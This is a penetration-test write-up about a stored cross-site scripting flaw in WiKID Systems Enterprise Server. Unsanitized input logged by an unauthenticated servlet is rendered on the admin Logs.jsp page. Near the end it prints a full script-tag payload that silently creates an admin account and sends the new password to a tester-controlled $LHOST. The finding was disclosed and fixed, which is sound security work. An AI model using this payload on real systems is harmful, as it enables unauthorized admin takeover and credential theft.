While performing an external network layer penetration test I encountered a host that presented a single page that was essentially blank...
How can one unvalidated input field lead to full admin takeover?
In this SecurityMetrics pentest, an unauthenticated servlet logging unsanitized input let a tester inject a script, steal an admin password, and gain full administrative access.
- The flaw sat in WiKID Systems Enterprise Server's PreRegister endpoint, found via the RPM installer.
- Non-integer input triggered an unescaped error logged to the authenticated Logs.jsp page.
- Injecting a script tag into that log created and exfiltrated an admin password via HTTP GET.
- The finding led to eight CVEs (CVE-2019-16917 through CVE-2019-17120) covering SQL injection, XSS, and CSRF.
- The vendor remediated after disclosure.
While performing an external network layer penetration test I encountered a host that presented a single page that was essentially blank:
<meta http-equiv="refresh" content="0;url=/WiKIDAdmin/">
<html>
<head><title>W i K I D S Y S T E M S</title></head>
<body bgcolor="ffffff">
<center><a href="http://www.wikidsystems.com/"><img src="../openid/images/logo.gif" border=0></a></center> </body>
</html>
I visited http://www.wikidsystems.com to gather information on the mystery service which led to an .iso and .rpm available from http://www.wikidsystems.com.
Extracting the contents of wikid-server-enterprise-4.2.0.b2032-1.noarch.rpm revealed two .war files in a webapps directory:
$ rpm2cpio wikid-server-enterprise-4.2.0.b2032-1.noarch.rpm | cpio -idmv
...
./opt/WiKID/webapps/WiKIDAdmin.war
./opt/WiKID/webapps/wikid.war
WiKIDAdmin.war contained .jsp files for the Admin web application at /WiKIDAdmin/, authentication was required for this web application. I installed the .iso on VirtualBox; with a default installation, I had access to the /WiKIDAdmin/ and /wikid/ functionality.
Reviewing web.xml, for wikid.war, showed several external URLs mapped to servlets that did not require authentication, including:
...
<servlet>
<servlet-name>PreRegister</servlet-name>
<servlet-class>com.wikidsystems.server.PreRegister</servlet-class>
</servlet>
...
<servlet-mapping>
<servlet-name>PreRegister</servlet-name>
<url-pattern>/PreRegister</url-pattern>
</servlet-mapping>
...
I traced com.wikidsystems.server.PreRegister, and the other servlets, to wikid-server-enterprise-lib-4.2.0.jar. The source for com.wikidsystems.server.PreRegister revealed several parameters, including the a parameter, were accepted by the endpoint:

The a parameter is expected to be an Integer:
66 try {
67 requestAction = Integer.parseInt(request.getParameter("a"));
68 logger.debug("Determined requested action: " + requestAction);
69 }
If the a parameter is not an Integer, an error is thrown and the value of a is passed to the logger:
70 catch (NumberFormatException nfe) {
71 nfe.printStackTrace();
72 logger.error("IO error during registration -- recieved action: " + request.getParameter("a"), nfe);
73 }
I found that logged errors are stored and displayed in the authenticated application in the Logs.jsp functionality by submitting the value test for a. The severity of the issue is high enough to be displayed by default:

Logs.jsp revealed the error message is stored as rendered_message and is not sanitized before it is included in the page:
394 sb.append("<TD class=\"logTableCell\" style=\"white-space:normal;\">")
395 .append("<a href='./Log.jsp?subString=" + rs.getString("rendered_message")+ "'>")
396 .append("<img src='./images/toolFilter.png' alt='' border=\"0px\" width=\"15px\" height=\"15px\"/></a>")
397 .append(rs.getString("rendered_message").replaceAll("<", "<").replaceAll(">", ">"))
398 .append("</TD>");
rendered_message is included in an <a> element that is being constructed; escaping out of the href attribute would allow me to create arbitrary elements. I went with the string test'><script>alert(123)</script> to verify an attack was possible:

I modified the attack string to be:
test'><script>window.addEventListener('load',function(){var+randomstring+%3d+Math.random().toString(36).slice(-12);$.get(window.location.origin%2b'/WiKIDAdmin/adm_usrs.jsp%3fusr%3dtest%26newpass1%3d'%2brandomstring%2b'%26newpass2%3d'%2brandomstring%2b'%26action%3dAdd');$.get('https://$LHOST%3fpass%3d'%2brandomstring)%3b});</script><!--
The string ends with <!-- to provide some concealment for the attack; the input will not appear in the table, it appears in a comment so the malicious input string is not displayed:

When Logs.jsp is visited, an Admin user is unintentionally created; the password is sent to a host I control, and I gain admin access to the Host:
$RHOST - - [13/Oct/2019 22:12:24] "GET /?pass=0.zo2em7aohn HTTP/1.1" 200 -
Several identified issues have been assigned CVE identifiers, the official disclosures can be found here:
- CVE-2019-16917
- CVE-2019-17114
- CVE-2019-17115
- CVE-2019-17116
- CVE-2019-17117
- CVE-2019-17118
- CVE-2019-17119
- CVE-2019-17120
Special thanks to Nick Owen (@wikidsystems) from WiKID Systems for the quick response and work to address identified issues.




